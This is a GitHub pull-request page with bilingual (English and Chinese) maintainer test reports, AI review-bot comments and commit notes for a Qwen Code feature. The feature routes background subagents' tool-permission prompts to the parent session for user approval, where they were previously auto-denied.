Physical cross-checks along the way: dry-run pushes left the bare remote empty (0 branches) while their stdout showed * [new branch] main -> main, i.e. the approved calls really ran and the denied one really didn't.

3. Code-review notes (core wiring)

  • The launch gate (approvalMode === 'bubble' && isInteractive()) is applied identically in agent.ts and background-agent-resume.ts; the bridge unsubscribes in both finally blocks.
  • Every terminal transition (complete/fail/cancel/finalizeCancelled/abandon/reset) funnels through rejectPendingApprovals, and cancel() rejects before abort() with a comment explaining the ordering dependency — scenario 3 above exercised exactly that path live.
  • resolvePendingApproval removes the entry before invoking respond (re-entrancy guard) and a respond failure fails the agent + aborts, rather than leaving a half-answered call.
  • Double protection against persistent grants: the UI injects hideAlwaysAllow: true and core's normalizeBackgroundApprovalOutcome downgrades any ProceedAlways* to ProceedOnce — defense in depth at the right layer.
  • bubble stays out of the session ApprovalMode enum; frontmatter validation accepts it via isSubagentApprovalMode (lazily reading APPROVAL_MODES to dodge the import-cycle footgun, with a comment).

4. Observation for the author (not a blocker)

Single Esc after approving cancelled the parent's turn. In run 1, immediately after approving the bubbled prompt (detail view still open, parent mid-stream "waiting for agent"), one Esc keypress both closed the dialog and cancelled the parent's in-flight turn (Request cancelled — the parent's report got cut off; the background agent itself was unaffected and completed). Expected: the first Esc only closes the dialog. It may be a focus/ordering race between the dialog's Esc handling and the global Esc-cancels-stream handler at the moment the approval resolves and the dialog re-renders. Repro: approve from the detail view, press Esc within ~1s. Worth a quick look; (back) is unaffected and is what the hint row recommends anyway.

5. Not covered here

  • Question-style (ask_user_question) bubbled prompts — covered by the new unit tests (free-text keys not intercepted); not exercised E2E.
  • Multiple concurrently parked approvals ("1 of N" sequencing) — author lists this as a known follow-up.
  • Resume-path bubbling E2E (background-agent-resume gate) — covered by the suite run above, not re-exercised interactively.
  • Windows/Linux interactive behavior — unit layer is green on CI's 3-platform matrix; my tmux run is macOS.

Environment: macOS (Darwin 25.5.0), Node v22.22.2, branch @ b62dede40, npm run bundle + node dist/cli.js, tmux-driven TUI, default approval mode, fixture at /tmp/pr4955-e2e with bare remote /tmp/pr4955-remote.git.

中文版(Chinese version)

本地运行时验证报告(维护者)

在 head b62dede40(merge-base 为当前 mainMERGEABLE)本地构建 bundle,用真实模型(qwen3.7-max)通过 tmux 驱动真实 TUI 验证。先完整执行 PR 的 Reviewer Test Plan,再扩展了拒绝 / 停止 / 保持停泊 / 非 bubble / headless 等对照场景。全部在一次性 git 项目 + 本地 bare 远端中从零复现(git push 是真实需要确认、且物理可验证的调用)。

结论:我演练的每个场景中该特性均按描述工作 —— ✅ 建议合并。 有一个值得作者过目的 UX 观察(单次 Esc 双重效果,见下),不阻塞合并。

1. 构建 + 测试套件

  • npm install && npm run bundle → 干净(dist/cli.js v0.17.1)
  • 作者列出的套件全绿:core 307/307(background-tasks 含 16 个新增 approval 用例 + 生产顺序 cancel 测试、subagent-manager、agent、background-agent-resume)与 cli 111/111(pill、background-view、ToolConfirmationMessage、useBackgroundTaskView)。零失败零跳过
  • PR 的 CI:Lint、CodeQL、三平台测试矩阵全绿

2. tmux E2E —— 作者剧本 + 对照场景

Fixture:/tmp git 仓库 + bare origin;.qwen/agents/bubbler.md(background: true, approvalMode: bubble)与 plain.md(无 approvalMode);CLI 处于 default 审批模式。

  1. 批准路径(作者剧本) ✅:启动数秒后 footer 出现 1 local agent ⚠ needs approval;↓↓ Enter 打开详情视图,"Background agent needs approval" 横幅 + 命令原文 + Yes, allow once / No(持久化 "allow always" 正确隐藏);批准后 agent 恢复、完成,parent 原样汇报真实输出(To /tmp/pr4955-remote.git · * [new branch] main -> main)。transcript 中 零条 "cannot prompt for confirmation"
  2. 拒绝路径 ✅:对停泊的真实 git pushNo:拒绝经停泊的 respond 送达(transcript 中 User did not allow),agent 循环未挂死——模型收到拒绝后改试另一条(同样被门控的)命令,再次被停泊。bare 远端仍 0 分支:被拒的 push 从未执行
  3. 带停泊审批时按 x 停止 ✅:从详情视图停止 agent,停泊调用被自动拒绝(transcript 中 cancelled by user), pill 立即清除,parent 收到取消通知——"先 reject 后 abort" 的顺序契约在实战中成立
  4. 保持停泊 ✅:退回列表后审批保持停泊(pill 保留 );超过 1 分钟后重新进入,同一提示仍可应答,批准后正常完成
  5. 非 bubble agent(对照) ✅:plain 执行相同任务,照旧 auto-deny(其 transcript 中 cannot prompt for confirmation ×2),从不显示 。额外收获:parent 模型随后在前台重跑该 push 并在前台弹出确认——活体复现了本 PR 要消除的"弹回前台"工作流
  6. Headless(-p,对照) ✅:同一 bubbler agent + --allowed-tools agent,非交互:被门控的调用 auto-deny(该会话 transcript 中 ×1),进程 exit 0——没有任何东西挂在无人应答的提示上

过程中的物理交叉验证:dry-run push 让 bare 远端保持空(0 分支)而 stdout 显示 * [new branch] main -> main——被批准的调用真实执行了,被拒绝的真实没执行。

3. 代码审阅备注(core 接线)

  • launch gate(approvalMode === 'bubble' && isInteractive())在 agent.tsbackground-agent-resume.ts 中完全一致;bridge 在两处的 finally 中注销
  • 所有终态(complete/fail/cancel/finalizeCancelled/abandon/reset)都汇入 rejectPendingApprovals;cancel() 先 reject 后 abort 并有注释解释顺序依赖——上面场景 3 实地演练了这条路径
  • resolvePendingApproval 先移除条目再调 respond(防重入);respond 失败则 fail 该 agent 并 abort,不留半应答状态
  • 防持久化授权的双重保险:UI 注入 hideAlwaysAllow: true,core 的 normalizeBackgroundApprovalOutcome 把任何 ProceedAlways* 降级为 ProceedOnce——在正确的层做了纵深防御
  • bubble 不进 session 级 ApprovalMode enum;frontmatter 校验经 isSubagentApprovalMode 接受(惰性读取 APPROVAL_MODES 规避 import cycle,有注释)

4. 给作者的观察(非阻塞)

批准后单次 Esc 同时取消了 parent 的回合。 第 1 轮中,批准冒泡提示后立即(详情视图仍开、parent 正流式输出"等待 agent")按一次 Esc,既关闭了对话框取消了 parent 进行中的回合(Request cancelled——parent 的汇报被截断;后台 agent 本身不受影响并正常完成)。预期:第一次 Esc 只关对话框。可能是审批 resolve、对话框重渲染瞬间,对话框 Esc 处理与全局"Esc 取消流"处理之间的焦点/顺序竞争。复现:从详情视图批准后 ~1 秒内按 Esc。值得快速看一眼;(返回)不受影响,而且提示行推荐的本来就是它。

5. 本次未覆盖

  • 问答式(ask_user_question)冒泡提示——新增单测已覆盖(自由文本按键不被拦截),未做 E2E
  • 多个并发停泊审批("1 of N" 顺序呈现)——作者已列为 known follow-up
  • resume 路径冒泡的 E2E(background-agent-resume gate)——上面跑的套件已覆盖,未交互式复测
  • Windows/Linux 交互行为——单测层由 CI 三平台矩阵覆盖;我的 tmux 验证在 macOS

环境:macOS (Darwin 25.5.0)、Node v22.22.2、分支 @ b62dede40npm run bundle + node dist/cli.js、tmux 驱动 TUI、default 审批模式、fixture 位于 /tmp/pr4955-e2e,bare 远端 /tmp/pr4955-remote.git

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No new issues found. LGTM! ✅ — qwen3.7-max via Qwen Code /review

wenshao
wenshao previously approved these changes Jun 12, 2026
@qqqys qqqys dismissed stale reviews from wenshao and qwen-code-ci-bot via 9bdd59d June 12, 2026 09:36
wenshao
wenshao previously approved these changes Jun 12, 2026
@wenshao

wenshao commented Jun 12, 2026

Copy link
Copy Markdown
Collaborator

@qwen-code /triage

@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

Thanks for the PR!

Template looks good ✓ — all required sections present (What this PR does, Why it's needed, Reviewer Test Plan with evidence, Risk & Scope, Linked Issues). The "Tested on" table is blank but the evidence section specifies macOS and CI covers all three platforms.

On direction: this solves a real, well-documented friction point — background subagents auto-denying permission-gated calls forces work back to the foreground, defeating the purpose of backgrounding. Closes #4928 which sits on the roadmap/background-automation track. The scope is well-aligned with the project's push toward richer subagent collaboration.

On approach: the scope feels right. bubble as a subagent-only mode (not added to the session-level ApprovalMode enum) is a clean design choice — it avoids polluting session pickers with a value that only makes sense for background agents. The gate (approvalMode === 'bubble' && isInteractive()) applied identically in both the launch path and the resume path is correct. One minor finding: ws and @types/ws are added to the CLI package's dependencies in package-lock.json but nothing in the diff imports or uses ws — looks like a stray dependency that should be dropped before merge.

Moving on to code review. 🔍

中文说明

感谢贡献!

模板完整 ✓ — 所有必需章节齐全。"Tested on" 表格为空,但 Evidence 部分注明 macOS,CI 覆盖三平台。

方向:解决了一个记录清晰的真实痛点 —— 后台 subagent 对需要权限确认的调用自动拒绝,导致工作弹回前台,使后台化失去意义。关联 #4928,属于 roadmap/background-automation 路线。与项目向更强 subagent 协作推进的方向一致。

方案:范围合理。bubble 作为仅 subagent 级模式(不加入会话级 ApprovalMode enum)设计干净——避免污染会话选择器。门控条件(approvalMode === 'bubble' && isInteractive())在 launch 和 resume 路径完全一致。一个小发现:ws@types/ws 被加入 CLI 包的 dependencies,但 diff 中无任何使用 —— 合并前应删除。

进入代码审查 🔍

Qwen Code · qwen3.7-max

@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

Code Review

Independent proposal (before reading the diff): to solve background subagent permission auto-denial, I would have added a pending-approvals queue on BackgroundTaskRegistry, bridged the TOOL_WAITING_APPROVAL agent event into that queue (same pattern the foreground path uses), surfaced a UI prompt in the background-tasks dialog, and opted in via a subagent frontmatter flag. The key edge cases to handle would be: cleanup on agent termination, non-interactive fallback (keep auto-deny), and preventing persistent "always allow" grants from background context.

Comparison with the PR's approach: the implementation matches or exceeds this proposal. The bridgeApprovalEvents pattern is clean with proper unsubscription in finally blocks. Every terminal transition (complete/fail/cancel/finalizeCancelled/abandon/reset) auto-rejects parked approvals. The dual protection against persistent grants (hideAlwaysAllow: true in UI + normalizeBackgroundApprovalOutcome downgrade in core) is defense-in-depth at the right layer. The cancel() ordering — reject before abort — with a comment explaining why is exactly the kind of careful edge-case handling this feature needs.

No correctness bugs, security issues, or regressions found. The stray ws/@types/ws dependency (flagged in Stage 1) is the only cleanup item.

Test Results

Build + bundle: clean (npm run build && npm run bundle, v0.17.1).

Unit tests — all green:

Suite Tests Status
core/background-tasks.test.ts 86
core/subagent-manager.test.ts 113
core/tools/agent/agent.test.ts 101
cli/BackgroundTasksPill.test.tsx 19
cli/BackgroundTasksDialog.test.tsx 32
cli/useBackgroundTaskView.test.ts 16
cli/ToolConfirmationMessage.test.tsx 20
Total 387

CI: Lint, CodeQL, and 3-platform test matrix (macOS, Ubuntu, Windows) all green.

E2E Verification (maintainer tmux run)

@wenshao already posted a detailed local runtime verification covering 6 scenarios with tmux-driven TUI against a real model (qwen3.7-max):

  1. Approve path ✅ — footer pill shows ⚠ needs approval, detail view renders confirmation prompt, approving resumes agent, transcript has zero denial messages
  2. Deny path ✅ — rejection delivered via parked respond, agent loop doesn't hang, denied push never executed (bare remote stays empty)
  3. x stop with parked approval ✅ — auto-reject fires, pill clears, parent gets cancellation notification
  4. stays-parked ✅ — backing out leaves approval parked, re-entering >1min later still answerable
  5. Non-bubble counter-check ✅ — same task auto-denies as before, parent re-runs in foreground
  6. Headless (-p) counter-check ✅ — auto-deny, process exits 0, nothing hangs

One non-blocking observation from @wenshao: single Esc after approving may cancel both the dialog and the parent's in-flight turn (focus/ordering race). Worth a follow-up but not a merge blocker.

中文说明

代码审查

独立方案(读 diff 前):BackgroundTaskRegistry 加停泊审批队列,桥接 TOOL_WAITING_APPROVAL 事件到该队列(复用前台路径模式),在后台任务对话框呈现 UI 提示,通过 subagent frontmatter 标记启用。关键边界:agent 终止时清理、非交互回退保持 auto-deny、防止后台上下文持久化 "always allow" 授权。

与 PR 方案对比: 实现达到或超过预期。bridgeApprovalEvents 模式干净,finally 中正确注销。所有终态(complete/fail/cancel/finalizeCancelled/abandon/reset)自动拒绝停泊审批。防持久化授权双重保险(UI hideAlwaysAllow: true + core normalizeBackgroundApprovalOutcome 降级)在正确的层做纵深防御。cancel() 先 reject 后 abort 并有注释解释顺序依赖——正是此特性所需的细致边界处理。

未发现正确性 bug、安全问题或回归。Stage 1 标记的多余 ws/@types/ws 依赖是唯一需要清理的项。

测试结果

构建 + bundle: 干净(v0.17.1)。

单测 —— 全绿: core 300/300 + cli 87/87 = 387/387 ✅

CI: Lint、CodeQL、三平台测试矩阵全绿。

E2E 验证(维护者 tmux 实跑)

@wenshao 已发布详细本地运行时验证,用 tmux 驱动真实 TUI + 真实模型(qwen3.7-max)覆盖 6 个场景:批准 ✅、拒绝 ✅、x 停止 ✅、 保持停泊 ✅、非 bubble 对照 ✅、headless 对照 ✅。

一个非阻塞观察:批准后单次 Esc 可能同时关闭对话框和取消 parent 回合(焦点竞争),值得后续跟进但不阻塞合并。

Qwen Code · qwen3.7-max

@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

Reflection

This is a well-executed feature PR. The problem is real and well-scoped (#4928), the design is clean (bubble as a subagent-only mode that doesn't leak into the session enum), and the implementation handles the hard edge cases — terminal cleanup, re-entrancy guards, cancel-before-abort ordering, defense-in-depth against persistent grants. The 387 unit tests I ran all pass, the build and bundle are clean, and CI is green across all three platforms.

Going back to my independent proposal: the PR's approach matches what I would have built, and in several areas exceeds it (the normalizeBackgroundApprovalOutcome downgrade, the lazy APPROVAL_MODES read to dodge an import cycle, the per-entry approval-change callback separate from status-change to avoid per-tool-call churn). I don't see a materially simpler path that covers the same ground.

@wenshao's tmux verification is thorough — six scenarios including deny, stop, stays-parked, and both counter-checks, all against a real model with physical cross-checks (bare remote branch count confirming denied pushes didn't execute). The one non-blocking Esc race observation is worth a follow-up issue.

The only cleanup item is the stray ws/@types/ws dependency — minor, can be dropped in a follow-up commit.

Approving. ✅

中文说明

总结

这是一个执行良好的特性 PR。问题真实且范围明确(#4928),设计干净(bubble 作为仅 subagent 级模式不泄漏到会话枚举),实现处理了困难的边界情况 —— 终态清理、防重入、先 reject 后 abort 顺序、防持久化授权纵深防御。387 项单测全部通过,构建和 bundle 干净,CI 三平台全绿。

与我的独立方案对比:PR 的方案与我会构建的匹配,多个方面超出预期(normalizeBackgroundApprovalOutcome 降级、惰性读取 APPROVAL_MODES 规避 import cycle、独立 approval-change 回调避免每工具调用抖动)。没有看到更简单的路径能覆盖同样的场景。

@wenshao 的 tmux 验证全面 —— 六个场景包含拒绝、停止、保持停泊和两个对照,均使用真实模型并有物理交叉验证。唯一的非阻塞 Esc 竞争观察值得后续跟进。

唯一清理项是多余的 ws/@types/ws 依赖 —— 次要,可在后续 commit 删除。

批准 ✅

Qwen Code · qwen3.7-max

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM, looks ready to ship. ✅ One minor cleanup: drop the unused ws/@types/ws dependency from the CLI package before merge.

@wenshao wenshao merged commit 4ae7886 into QwenLM:main Jun 12, 2026
26 of 33 checks passed
doudouOUC pushed a commit that referenced this pull request Jun 15, 2026
…parent session (#4955)

* feat(core,cli): bubble background subagent permission prompts to the parent session

Background subagents auto-deny any tool call that needs interactive confirmation, so a single permission-gated step (a git push, an rm, a network call) silently fails and the work bounces back to the parent turn — defeating the point of backgrounding. This adds an opt-in approvalMode value for subagent definitions, `bubble`: instead of denying, the call is parked on the BackgroundTaskRegistry and surfaced in the Background tasks dialog, where the user answers it through the shared ToolConfirmationMessage; the agent then resumes.

- `bubble` is a subagent-only approvalMode (deliberately not a session-level ApprovalMode value); it resolves to `default` run behavior and only flips the background path from deny to surface, in interactive sessions. Headless / non-interactive contexts keep auto-deny.
- BackgroundTaskRegistry grows a parked-approval queue (add/resolve/clear), an approval-change callback, and an event bridge (TOOL_WAITING_APPROVAL parks, TOOL_RESULT clears stale prompts). Every terminal transition auto-rejects parked calls so the agent loop never hangs on an unanswerable prompt; cancel() rejects before aborting so respond(Cancel) actually fires ahead of the abort-driven queue clear. Auto-reject failures are caught on the promise, not via try/catch around a voided async call.
- The launch path (agent.ts) and the resume path (background-agent-resume.ts) share the same gate, so a resumed agent of the same definition keeps bubbling instead of silently reverting to auto-deny.
- TUI: the footer pill shows a "needs approval" marker, dialog list rows are flagged, and the detail view embeds the confirmation prompt. While a prompt is up, left (back) and x (stop agent) remain available as escape hatches so a re-parking agent cannot trap the keyboard.

Closes #4928

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(i18n): add zh-TW translations for background approval strings

check-i18n requires every zh key to have a zh-TW counterpart; the three
strings added for permission bubbling were registered in en/zh only.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(core): harden background approval edge cases from review

- resolvePendingApproval: if respond() rejects, the tool call is still parked in the scheduler, so re-add the approval and re-emit instead of silently clearing the prompt (which left the UI showing nothing pending while the agent hung). Returns false on failure.
- reset() and finalizeCancellationIfPending(): reject parked approvals defensively. The /resume and /clear paths already gate on hasBlockingBackgroundWork() so these only run on terminal entries today, but rejecting here means a future caller dropping that guard can't strand an unanswered respond() callback.
- resolveSubagentApprovalMode: resolve the subagent-only 'bubble' mode to Default explicitly rather than via approvalModeToPermissionMode's default fall-through, so a future ApprovalMode.BUBBLE enum member can't silently change it.

Adds tests for the fail / finalizeCancelled / reset auto-reject paths and the respond()-rejection re-park.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(core): include args in approval test events

* test(core): update nested yaml parser expectations

* fix(cli): reuse selected background agent id

* fix(core): fail consumed background approval retries

* fix(core): prevent persistent bubbled approvals

* fix(core): harden bubbled approval handling

* fix(core): cover background approval edge cases

* fix(cli): isolate bubbled question approval keys

* fix(cli): localize background approval labels

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Background subagents auto-deny permission-required tool calls — queue approval requests to the parent session instead

4 participants